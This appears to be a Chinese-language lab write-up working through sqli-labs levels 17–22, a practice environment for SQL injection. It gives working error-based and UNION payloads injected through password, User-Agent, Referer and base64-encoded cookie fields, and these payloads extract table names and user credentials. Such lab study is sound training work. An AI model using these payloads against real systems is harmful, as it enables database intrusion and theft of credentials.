less-17
這一關的頁面如下:
可知是可以更新密碼的頁面。經過測試,只會更新admin的密碼,所以User Name固定為admin,要下手的是New Password。New Password如果都是輸入英文字,那麼就一定是successfully,那就試試帶特殊符號:
可以發現New Password如果設成1'
會報錯(上圖反藍),但設成1"
就不會有錯誤訊息。這時就可以在New Password填入error-based sql injection常用攻擊extractvalue。
extractvalue的原理:
1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。
SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。
而~符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select database())))#&Submit=submit
直接說結論,上圖反藍處可以換成其他查詢語句。可以看到successfully上方的黃色字顯示出security,就是目前所在database的名稱security。
接下來可以參照less-1,取代藍字的部分如下:
列出security DB的table:
select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
列出user這個table的column:
select group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
列出column的內容:
要注意,如果直接使用less-1的語句select group_concat(password) FROM users
的話會出錯,會顯示You can't specify target table 'users' for update in FROM clause,這是表示「不能先select出同一表中的某些值,再update這個表(在同一語句中)。」,將select出的結果再通過中間表select一遍,就規避了錯誤。
要用
select group_concat(username,0x3a,password) from (select username,password from users) as a
可以於黃字顯示
XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'
0x3a就是冒號。由於函數有顯示字數限制,所以只顯示出Dumb跟Angelina兩人的帳密。如果要再繼續看其他人的,就要再from users後面加上:
where username not in('Dumb','Angelina')
select group_concat(username,0x3a,password) from (select username,password from users where username not in('Dumb','Angelina')) as a
來去掉已經看過的這兩人,其他帳密以此類推。另外,payload的as a不可以去掉,否則會出現Every derived table must have its own alias這個錯誤。
less-18
這一題可能會顯示不出user-agent,原因應該是如下網頁所述:
Apache2.4 用 .htaccess 阻擋 User-Agent 及隱藏版本訊息 – Mr. 沙先生
所以要用舊版本的apache。可以用phpstudy2016來建置環境打less-18,環境建置可參照以下網頁:
https://blog.csdn.net/weixin_44257023/article/details/125759012
進去less-18網頁後,首先輸入admin/admin,網頁如下:
可以發現上圖藍字
GitHub - payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload List
的Generic SQL Injection Payloads的這一些:
用burp的intruder打打看。結果如下圖:
可以發現一個單引號時會引發錯誤。另外可以發現兩個單引號會閉合成功。所謂閉合成功,是指輸入的符號會直接顯示如下圖紅圈。
而且紅圈底下也不會像上上張圖顯示錯誤。
沒閉合成功的,就會顯示百分比符號:
想一想,每次發送請求時,都會給一個 UA 發給服務器,那麽在反饋頁面中,又出現了我們的 UA 信息,這說明什麽?
說明了 我們的 UA 信息,很有可能 被後台 用 INSERT INTO 插入語句,插入到數據庫中,然後再讀取出來,所以才能在頁面上顯示,也就是說,這個過程中與服務器發生了交互。如果說:後台沒有對 UA 信息進行 過濾處理 的話,那是不是能夠從 UA 這里 展開注入呢?
(這里值得注意的是,返回頁面顯示出 Referer 信息,並不一定需要有 數據庫 交互,也可以直接從 HTTP HEADER 中獲取,直接回顯出來,這樣的話沒法 從 Referer 注入)
從錯誤訊息猜測閉合(參考以下網頁)
sqli-labs less18 User-Agent - 简书
先試試用雙引號,可以發現頁面會直接顯示,不會報錯,所以大概不是閉合條件。
輸入單引號則會報錯:
輸入單引號注入時,可以發現錯誤訊息裡的IP跟admin都是被單引號括起來的。所以可以猜後端的原始碼可能包含:
('UA','IP','username')
接下來構造符合這樣原始碼的payload:
UA的值: 1',1,1=1) #,這樣就會變成('1',1,1=1) #','IP','username'),因為#是註釋符號,所以真正語句是('1',1,1=1),也就是說原本的ip被payload替換成1,username被替換成1=1:
可以發現成功執行。所以就可以繼續構造可以執行的payload。
也可以直接看看原始碼:
上圖反藍中的: '$uagent',如果插入'OR updatexml(1,concat("!",database()),2) OR',就會變成
''OR updatexml(1,concat("!",database()),2) OR'','$IP'...
也就是說uagent變成「空白」or 「注入語句」or「空白」,這樣就可以執行注入語句。注意下圖反灰就是注入語句的結果,反藍就是上面的注入語句。
'OR updatexml(1,concat("!",database()),2)--+是不行的。
updatexml版本之各式注入語句:
表名爆出:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
column名爆出:
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
爆出帳密:
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)
修改上述語句的粗體字的職,可以控制要爆出第幾號帳密。比如下圖反藍改成1,就是爆出第二個帳密--Angelina。
(TODO: 改成無空白的方式測試)
updatexml()函数介紹:
updatexml()函數與extractvalue()函數類似,都是對xml文檔進行操作。只不過updatexml()從英文字面上來看就知道是更新的意思。即updatexml()是更新文檔的函數。
updatexml(目標xml文檔,xml路徑,更新的內容)
和extractvalue()相同的是都是對第二個參數進行操作的,通過構造非法格式的查詢語句,來使其返回錯誤的信息,並將其更新出來。
而這個比extractvalue好用在於,它可以不太需要空白,可以躲避一些過濾空白的網頁。
less-19
admin/admin
注入點在referer,其他跟less-18相同。
less-20
重點在如何找到閉合方式。
把 https://github.com/payloadbox/sql-injection-payload-list 裡的 SQL Injection Auth Bypass Payloads複製下來,用intrudr打cookie一次,結果如下:
可以發現自length大於1423的都可成功顯示login,再觀察一下這些語句的共通點,大概是用'
閉合。試試改寫其中一個,在裡面插入注入語句。
試了幾個以後,發現只要有帶admin,那麼就一定會帶login name是admin。所以上圖的倒數第4句(編號46)把admin拿掉,or 1=1換成less-1用過的語句即可
uname='union select null,database(),3 --+
上一行的粗體字換成其他payload即可,分別如下:
#查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
#查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
#查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
less-21
admin/admin
看到反藍處是已被加密的uname。首先要知道加密演算法,然後把less-20的payload也用此演算法加密,即可得出答案。透過john the ripple或是別的工具可得知是base-64加密,所以
用原本的'union select null,database(),3 --+(base64加密後)會出錯:
注意上圖反藍處,似乎閉合除了單引號外還有一個括號,所以改一下:
') union select null,database(),3 --+
(base64加密: JykgdW5pb24gc2VsZWN0IG51bGwsZGF0YWJhc2UoKSwzIC0tKw==)
執行結果:
注意上圖反藍。雖然不像上一次有顯示我們的注入語句,代表應該有閉合,但卻還是無法執行。後來覺得把+號去掉,換成空格,因為+號本來就是為了url轉譯而寫的:
') union select null,database(),3 --
(base64加密: JykgdW5pb24gc2VsZWN0IG51bGwsZGF0YWJhc2UoKSwzLS0g)
可以爆出資料庫名稱如上圖藍字。
另外用比較喜歡的作法--暴力破解,不用一個一個去猜payload,但是要用excel函數建立base64編碼表。
建立base64編碼表--使用excel
根據
https://www.linkedin.com/pulse/excel-vba-base64-encoding-easy-daniel-ferry
Function EncodeBase64(text$)
Dim b
With CreateObject("ADODB.Stream")
.Open: .Type = 2: .Charset = "utf-8"
.WriteText text: .Position = 0: .Type = 1: b = .Read
With CreateObject("Microsoft.XMLDOM").createElement("b64")
.DataType = "bin.base64": .nodeTypedValue = b
EncodeBase64 = Replace(Mid(.text, 5), vbLf, "")
End With
.Close
End With
End Function
游標移到框框右下角出現黑色十字如上圖後,左鍵連點兩下,即可把下面的欄位都用同一函數計算完成如下圖:
但要注意如果最前面有單引號,excel會自動刪除,所以要再加一個單引號。
less-22
判斷注入--是否可用intruder暴力+自動加密後注入?